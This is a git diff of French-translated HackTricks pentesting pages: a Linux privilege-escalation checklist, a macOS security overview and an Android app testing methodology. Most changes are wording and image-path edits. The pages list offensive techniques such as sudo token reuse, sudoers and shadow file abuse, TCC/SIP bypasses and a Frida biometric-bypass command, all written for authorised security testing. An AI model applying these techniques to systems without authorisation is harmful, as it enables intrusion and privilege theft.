* [ ] [**Tokens SUDO disponibles**](privilege-escalation/#reusing-sudo-tokens) ? [**Pouvez-vous créer un token SUDO**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than) ?
|
||||
* [ ] Pouvez-vous [**lire ou modifier les fichiers sudoers**](privilege-escalation/#etc-sudoers-etc-sudoers-d) ?
|
||||
* [ ] Pouvez-vous [**modifier /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d) ?
|
||||
|
@ -146,7 +146,7 @@ Restez informé des nouveaux programmes de bug bounty lancés et des mises à jo
|
|||
* [ ] **Fichiers de profil** - Lire des données sensibles ? Écrire pour privesc ?
|
||||
* [ ] **Fichiers passwd/shadow** - Lire des données sensibles ? Écrire pour privesc ?
|
||||
* [ ] **Vérifiez les dossiers couramment intéressants** pour des données sensibles
|
||||
* [ ] **Fichiers de localisation/possédés étranges,** auxquels vous pourriez avoir accès ou modifier des fichiers exécutables
|
||||
* [ ] **Emplacement étrange/Fichiers possédés,** vous pourriez avoir accès ou modifier des fichiers exécutables
|
||||
* [ ] **Modifié** dans les dernières minutes
|
||||
* [ ] **Fichiers de base de données Sqlite**
|
||||
* [ ] **Fichiers cachés**
|
||||
|
@ -156,7 +156,7 @@ Restez informé des nouveaux programmes de bug bounty lancés et des mises à jo
|
|||
* [ ] **Fichiers connus contenant des mots de passe** : Utilisez **Linpeas** et **LaZagne**
|
||||
* [ ] **Recherche générique**
|
||||
|
||||
### [**Fichiers modifiables**](privilege-escalation/#writable-files)
|
||||
### [**Fichiers écrivables**](privilege-escalation/#writable-files)
|
||||
|
||||
* [ ] **Modifier la bibliothèque python** pour exécuter des commandes arbitraires ?
|
||||
* [ ] Pouvez-vous **modifier les fichiers journaux** ? Exploit **Logtotten**
|
||||
|
@ -168,7 +168,7 @@ Restez informé des nouveaux programmes de bug bounty lancés et des mises à jo
|
|||
* [ ] Pouvez-vous [**abuser de NFS pour escalader les privilèges**](privilege-escalation/#nfs-privilege-escalation) ?
|
||||
* [ ] Avez-vous besoin de [**vous échapper d'un shell restrictif**](privilege-escalation/#escaping-from-restricted-shells) ?
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
|
@ -179,7 +179,7 @@ Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
|||
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel
|
||||
|
||||
**Dernières annonces**\
|
||||
Restez informé des nouveaux programmes de bug bounty lancés et des mises à jour cruciales de la plateforme
|
||||
Restez informé des nouveaux programmes de bug bounty lancés et des mises à jour cruciales des plateformes
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers aujourd'hui !
|
||||
|
||||
|
@ -191,7 +191,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Sécurité macOS & Élévation de privilèges
|
||||
# Sécurité macOS & Escalade de Privilèges
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -8,14 +8,14 @@ Apprenez et pratiquez le Hacking GCP : <img src="../../.gitbook/assets/grte.png"
|
|||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
|
@ -26,9 +26,9 @@ Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
|||
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel
|
||||
|
||||
**Dernières Annonces**\
|
||||
Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales des plateformes
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers aujourd'hui !
|
||||
|
||||
## MacOS de Base
|
||||
|
||||
|
@ -52,7 +52,7 @@ Si vous n'êtes pas familier avec macOS, vous devriez commencer à apprendre les
|
|||
[macos-applefs.md](macos-applefs.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* L'**architecture** du **noyau**
|
||||
* L'**architecture** du k**ernel**
|
||||
|
||||
{% content-ref url="mac-os-architecture/" %}
|
||||
[mac-os-architecture](mac-os-architecture/)
|
||||
|
@ -64,10 +64,10 @@ Si vous n'êtes pas familier avec macOS, vous devriez commencer à apprendre les
|
|||
[macos-protocols.md](macos-protocols.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Open source** macOS : [https://opensource.apple.com/](https://opensource.apple.com/)
|
||||
* **Opensource** macOS : [https://opensource.apple.com/](https://opensource.apple.com/)
|
||||
* Pour télécharger un `tar.gz`, changez une URL telle que [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) en [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
|
||||
|
||||
### MacOS MDM
|
||||
### MDM macOS
|
||||
|
||||
Dans les entreprises, les systèmes **macOS** seront très probablement **gérés avec un MDM**. Par conséquent, du point de vue d'un attaquant, il est intéressant de savoir **comment cela fonctionne** :
|
||||
|
||||
|
@ -107,7 +107,7 @@ Pour ce type de vulnérabilités, n'oubliez pas de **vérifier les installateurs
|
|||
[macos-installers-abuse.md](macos-files-folders-and-binaries/macos-installers-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Gestion des Extensions de Fichier & des Schémas d'URL
|
||||
### Gestion des Extensions de Fichier & des Handlers d'URL
|
||||
|
||||
Des applications étranges enregistrées par des extensions de fichier pourraient être abusées et différentes applications peuvent être enregistrées pour ouvrir des protocoles spécifiques
|
||||
|
||||
|
@ -115,17 +115,17 @@ Des applications étranges enregistrées par des extensions de fichier pourraien
|
|||
[macos-file-extension-apps.md](macos-file-extension-apps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Élévation de Privilèges TCC / SIP macOS
|
||||
## Escalade de Privilèges TCC / SIP macOS
|
||||
|
||||
Dans macOS, les **applications et binaires peuvent avoir des permissions** pour accéder à des dossiers ou des paramètres qui les rendent plus privilégiés que d'autres.
|
||||
|
||||
Par conséquent, un attaquant qui souhaite compromettre avec succès une machine macOS devra **escalader ses privilèges TCC** (ou même **contourner le SIP**, selon ses besoins).
|
||||
Par conséquent, un attaquant qui souhaite compromettre avec succès une machine macOS devra **escalader ses privilèges TCC** (ou même **contourner SIP**, selon ses besoins).
|
||||
|
||||
Ces privilèges sont généralement accordés sous forme de **droits** avec lesquels l'application est signée, ou l'application peut demander certains accès et après que **l'utilisateur les approuve**, ils peuvent être trouvés dans les **bases de données TCC**. Une autre façon pour un processus d'obtenir ces privilèges est d'être un **enfant d'un processus** avec ces **privilèges** car ils sont généralement **hérités**.
|
||||
|
||||
Suivez ces liens pour trouver différentes façons d'[**escalader les privilèges dans TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), pour [**contourner TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) et comment dans le passé [**le SIP a été contourné**](macos-security-protections/macos-sip.md#sip-bypasses).
|
||||
Suivez ces liens pour trouver différentes façons d'[**escalader les privilèges dans TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), pour [**contourner TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) et comment dans le passé [**SIP a été contourné**](macos-security-protections/macos-sip.md#sip-bypasses).
|
||||
|
||||
## Élévation de Privilèges Traditionnelle macOS
|
||||
## Escalade de Privilèges Traditionnelle macOS
|
||||
|
||||
Bien sûr, du point de vue des équipes rouges, vous devriez également être intéressé par l'escalade vers root. Consultez le post suivant pour quelques indices :
|
||||
|
||||
|
@ -139,13 +139,13 @@ Bien sûr, du point de vue des équipes rouges, vous devriez également être in
|
|||
|
||||
## Références
|
||||
|
||||
* [**Réponse aux Incidents OS X : Scripting et Analyse**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
|
||||
* [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
|
||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
* [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet)
|
||||
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
|
||||
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
|
@ -156,9 +156,9 @@ Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
|||
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel
|
||||
|
||||
**Dernières Annonces**\
|
||||
Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales des plateformes
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers aujourd'hui !
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -168,9 +168,9 @@ Apprenez et pratiquez le Hacking GCP : <img src="../../.gitbook/assets/grte.png"
|
|||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,13 +9,13 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le [**serveur Discord HackenProof**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
|
@ -26,7 +26,7 @@ Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
|||
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel
|
||||
|
||||
**Dernières Annonces**\
|
||||
Restez informé des nouveaux programmes de bug bounty lancés et des mises à jour cruciales des plateformes
|
||||
Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales des plateformes
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
|
||||
|
@ -41,7 +41,7 @@ Il est fortement recommandé de commencer par lire cette page pour connaître le
|
|||
## ADB (Android Debug Bridge)
|
||||
|
||||
C'est l'outil principal dont vous avez besoin pour vous connecter à un appareil android (émulé ou physique).\
|
||||
**ADB** permet de contrôler les appareils soit par **USB** soit par **réseau** depuis un ordinateur. Cet utilitaire permet le **copie** de fichiers dans les deux sens, **installation** et **désinstallation** d'applications, **exécution** de commandes shell, **sauvegarde** de données, **lecture** de journaux, entre autres fonctions.
|
||||
**ADB** permet de contrôler les appareils soit par **USB** soit par **réseau** depuis un ordinateur. Cette utilité permet le **copiage** de fichiers dans les deux sens, **installation** et **désinstallation** d'applications, **exécution** de commandes shell, **sauvegarde** de données, **lecture** de journaux, entre autres fonctions.
|
||||
|
||||
Jetez un œil à la liste suivante de [**Commandes ADB**](adb-commands.md) pour apprendre à utiliser adb.
|
||||
|
||||
|
@ -52,8 +52,8 @@ Parfois, il est intéressant de **modifier le code de l'application** pour accé
|
|||
|
||||
## Autres astuces intéressantes
|
||||
|
||||
* [Usurpation de votre emplacement dans le Play Store](spoofing-your-location-in-play-store.md)
|
||||
* **Télécharger des APK** : [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
* [Falsification de votre emplacement dans le Play Store](spoofing-your-location-in-play-store.md)
|
||||
* **Télécharger des APKs** : [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
* Extraire l'APK de l'appareil :
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
|
@ -80,7 +80,7 @@ Veuillez, [**lire ici pour trouver des informations sur les différents décompi
|
|||
|
||||
### Recherche d'informations intéressantes
|
||||
|
||||
En regardant simplement les **chaînes** de l'APK, vous pouvez rechercher des **mots de passe**, des **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des clés **api**, des **chiffrements**, des **bluetooth uuids**, des **tokens** et tout ce qui est intéressant... cherchez même des **backdoors** d'exécution de code ou des backdoors d'authentification (identifiants administratifs codés en dur dans l'application).
|
||||
En regardant simplement les **chaînes** de l'APK, vous pouvez rechercher des **mots de passe**, des **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des clés **api**, des **chiffrements**, des **UUIDs bluetooth**, des **tokens** et tout ce qui est intéressant... cherchez même des **backdoors** d'exécution de code ou des backdoors d'authentification (identifiants administratifs codés en dur dans l'application).
|
||||
|
||||
**Firebase**
|
||||
|
||||
|
@ -127,7 +127,7 @@ Plus d'infos dans :
|
|||
|
||||
**Stockage interne**
|
||||
|
||||
Dans Android, les fichiers **stockés** dans le **stockage interne** sont **conçus** pour être **accessibles** exclusivement par l'**application** qui les **a créés**. Cette mesure de sécurité est **appliquée** par le système d'exploitation Android et est généralement adéquate pour les besoins de sécurité de la plupart des applications. Cependant, les développeurs utilisent parfois des modes tels que `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` pour **permettre** aux fichiers d'être **partagés** entre différentes applications. Pourtant, ces modes **ne restreignent pas l'accès** à ces fichiers par d'autres applications, y compris celles potentiellement malveillantes.
|
||||
Dans Android, les fichiers **stockés** dans le **stockage interne** sont **conçus** pour être **accessibles** exclusivement par l'**application** qui les **a créés**. Cette mesure de sécurité est **appliquée** par le système d'exploitation Android et est généralement adéquate pour les besoins de sécurité de la plupart des applications. Cependant, les développeurs utilisent parfois des modes tels que `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` pour **permettre** le partage de fichiers entre différentes applications. Pourtant, ces modes **ne restreignent pas l'accès** à ces fichiers par d'autres applications, y compris celles potentiellement malveillantes.
|
||||
|
||||
1. **Analyse statique :**
|
||||
* **Assurez-vous** que l'utilisation de `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` est **soigneusement examinée**. Ces modes **peuvent potentiellement exposer** des fichiers à un **accès non intentionnel ou non autorisé**.
|
||||
|
@ -178,7 +178,7 @@ Certains développeurs enregistrent des données sensibles dans le stockage loca
|
|||
|
||||
**Utilisation d'algorithmes non sécurisés et/ou obsolètes**
|
||||
|
||||
Les développeurs ne devraient pas utiliser **d'algorithmes obsolètes** pour effectuer des **vérifications d'autorisation**, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashs** sont utilisés pour stocker des mots de passe par exemple, des hashs résistants à la **force brute** devraient être utilisés avec un sel.
|
||||
Les développeurs ne devraient pas utiliser **d'algorithmes obsolètes** pour effectuer des **vérifications d'autorisation**, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashs** sont utilisés pour stocker des mots de passe par exemple, des hashs résistants à la force brute devraient être utilisés avec du sel.
|
||||
|
||||
### Autres vérifications
|
||||
|
||||
|
@ -204,7 +204,7 @@ Read the following page to learn how to easily access C# code of a xamarin appli
|
|||
[xamarin-apps.md](../xamarin-apps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Applications Superpackées
|
||||
### Applications superpackées
|
||||
|
||||
According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.**
|
||||
|
||||
|
@ -239,7 +239,7 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -318,9 +318,9 @@ Note that from **later newer than Android 4.0**, **applications are only able to
|
|||
Anyway, it's still recommended to **not log sensitive information**.
|
||||
{% endhint %}
|
||||
|
||||
**Mise en cache du presse-papiers**
|
||||
**Mise en cache du tampon Copier/Coller**
|
||||
|
||||
Le cadre basé sur le **presse-papiers** d'Android permet la fonctionnalité de copier-coller dans les applications, mais pose un risque car **d'autres applications** peuvent **accéder** au presse-papiers, exposant potentiellement des données sensibles. Il est crucial de **désactiver les fonctions de copier/coller** pour les sections sensibles d'une application, comme les détails de carte de crédit, afin de prévenir les fuites de données.
|
||||
Le cadre **basé sur le presse-papiers** d'Android permet la fonctionnalité de copier-coller dans les applications, mais pose un risque car **d'autres applications** peuvent **accéder** au presse-papiers, exposant potentiellement des données sensibles. Il est crucial de **désactiver les fonctions de copier/coller** pour les sections sensibles d'une application, comme les détails de carte de crédit, afin de prévenir les fuites de données.
|
||||
|
||||
**Journaux de plantage**
|
||||
|
||||
|
@ -334,7 +334,7 @@ Les applications intègrent souvent des services comme Google Adsense, ce qui pe
|
|||
|
||||
### Bases de données SQLite
|
||||
|
||||
La plupart des applications utiliseront des **bases de données SQLite internes** pour enregistrer des informations. Lors du pentest, jetez un **œil** aux **bases de données** créées, aux noms des **tables** et des **colonnes** et à toutes les **données** enregistrées car vous pourriez trouver des **informations sensibles** (ce qui constituerait une vulnérabilité).\
|
||||
La plupart des applications utiliseront des **bases de données SQLite internes** pour enregistrer des informations. Lors du pentest, jetez un **coup d'œil** aux **bases de données** créées, aux noms des **tables** et des **colonnes** et à toutes les **données** enregistrées car vous pourriez trouver des **informations sensibles** (ce qui constituerait une vulnérabilité).\
|
||||
Les bases de données devraient être situées dans `/data/data/the.package.name/databases` comme `/data/data/com.mwr.example.sieve/databases`.
|
||||
|
||||
Si la base de données enregistre des informations confidentielles et est **cryptée** mais que vous pouvez **trouver** le **mot de passe** à l'intérieur de l'application, c'est toujours une **vulnérabilité**.
|
||||
|
@ -376,7 +376,7 @@ Notez qu'un contournement d'autorisation n'est pas toujours une vulnérabilité,
|
|||
|
||||
#### Tapjacking
|
||||
|
||||
Si le tapjacking n'est pas prévenu, vous pourriez abuser de l'activité exportée pour faire en sorte que **l'utilisateur effectue des actions inattendues**. Pour plus d'informations sur [**ce qu'est le Tapjacking, suivez le lien**](./#tapjacking).
|
||||
Si le tapjacking n'est pas prévenu, vous pourriez abuser de l'activité exportée pour faire en sorte que l'**utilisateur effectue des actions inattendues**. Pour plus d'informations sur [**ce qu'est le Tapjacking, suivez le lien**](./#tapjacking).
|
||||
|
||||
### Exploitation des Content Providers - Accéder et manipuler des informations sensibles
|
||||
|
||||
|
@ -390,7 +390,7 @@ Les content providers sont essentiellement utilisés pour **partager des donnée
|
|||
[**Lisez ceci si vous voulez rafraîchir ce qu'est un Service.**](android-applications-basics.md#services)\
|
||||
Rappelez-vous que les actions d'un Service commencent dans la méthode `onStartCommand`.
|
||||
|
||||
Un service est essentiellement quelque chose qui **peut recevoir des données**, **les traiter** et **renvoyer** (ou non) une réponse. Donc, si une application exporte certains services, vous devriez **vérifier** le **code** pour comprendre ce qu'il fait et **le tester** **dynamiquement** pour extraire des informations confidentielles, contourner des mesures d'authentification...\
|
||||
Un service est essentiellement quelque chose qui **peut recevoir des données**, **les traiter** et **renvoyer** (ou non) une réponse. Ensuite, si une application exporte certains services, vous devriez **vérifier** le **code** pour comprendre ce qu'il fait et **le tester** **dynamiquement** pour extraire des informations confidentielles, contourner des mesures d'authentification...\
|
||||
[**Apprenez à exploiter les Services avec Drozer.**](drozer-tutorial/#services)
|
||||
|
||||
### **Exploitation des Broadcast Receivers**
|
||||
|
@ -450,7 +450,7 @@ Un [rapport de bug bounty intéressant](https://hackerone.com/reports/855618) co
|
|||
|
||||
#### Vérification des certificats
|
||||
|
||||
Nous allons nous concentrer sur la **vérification des certificats**. L'intégrité du certificat du serveur doit être vérifiée pour améliorer la sécurité. Cela est crucial car des configurations TLS non sécurisées et la transmission de données sensibles par des canaux non chiffrés peuvent poser des risques significatifs. Pour des étapes détaillées sur la vérification des certificats de serveur et le traitement des vulnérabilités, [**cette ressource**](https://manifestsecurity.com/android-application-security-part-10/) fournit des conseils complets.
|
||||
Nous allons nous concentrer sur la **vérification des certificats**. L'intégrité du certificat du serveur doit être vérifiée pour améliorer la sécurité. Cela est crucial car des configurations TLS non sécurisées et la transmission de données sensibles par des canaux non chiffrés peuvent poser des risques significatifs. Pour des étapes détaillées sur la vérification des certificats de serveur et la résolution des vulnérabilités, [**cette ressource**](https://manifestsecurity.com/android-application-security-part-10/) fournit des conseils complets.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
|
@ -531,7 +531,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
|||
|
||||
### **Images de Fond**
|
||||
|
||||
Lorsque vous mettez une application en arrière-plan, Android stocke un **instantané de l'application** afin que, lorsqu'elle est récupérée au premier plan, elle commence à charger l'image avant l'application, ce qui donne l'impression que l'application a été chargée plus rapidement.
|
||||
Lorsque vous mettez une application en arrière-plan, Android stocke un **instantané de l'application** afin que, lorsqu'elle est récupérée au premier plan, elle commence à charger l'image avant que l'application ne soit visible, ce qui donne l'impression que l'application a été chargée plus rapidement.
|
||||
|
||||
Cependant, si cet instantané contient des **informations sensibles**, quelqu'un ayant accès à l'instantané pourrait **voler ces informations** (notez que vous avez besoin de root pour y accéder).
|
||||
|
||||
|
@ -549,11 +549,11 @@ Cet outil peut vous aider à gérer différents outils lors de l'analyse dynamiq
|
|||
|
||||
Les développeurs créent souvent des composants proxy comme des activités, des services et des récepteurs de diffusion qui gèrent ces Intents et les transmettent à des méthodes telles que `startActivity(...)` ou `sendBroadcast(...)`, ce qui peut être risqué.
|
||||
|
||||
Le danger réside dans le fait de permettre aux attaquants de déclencher des composants d'application non exportés ou d'accéder à des fournisseurs de contenu sensibles en détournant ces Intents. Un exemple notable est le composant `WebView` qui convertit les URL en objets `Intent` via `Intent.parseUri(...)` et les exécute ensuite, ce qui peut entraîner des injections d'Intent malveillantes.
|
||||
Le danger réside dans le fait de permettre aux attaquants de déclencher des composants d'application non exportés ou d'accéder à des fournisseurs de contenu sensibles en détournant ces Intents. Un exemple notable est le composant `WebView` qui convertit les URL en objets `Intent` via `Intent.parseUri(...)` et les exécute ensuite, ce qui peut conduire à des injections d'Intent malveillantes.
|
||||
|
||||
### Points Essentiels
|
||||
|
||||
* **Injection d'Intent** est similaire au problème de redirection ouverte du web.
|
||||
* **Injection d'Intent** est similaire au problème de Redirection Ouverte sur le web.
|
||||
* Les exploits impliquent de passer des objets `Intent` en tant qu'extras, qui peuvent être redirigés pour exécuter des opérations non sécurisées.
|
||||
* Cela peut exposer des composants non exportés et des fournisseurs de contenu aux attaquants.
|
||||
* La conversion d'URL en `Intent` de `WebView` peut faciliter des actions non intentionnelles.
|
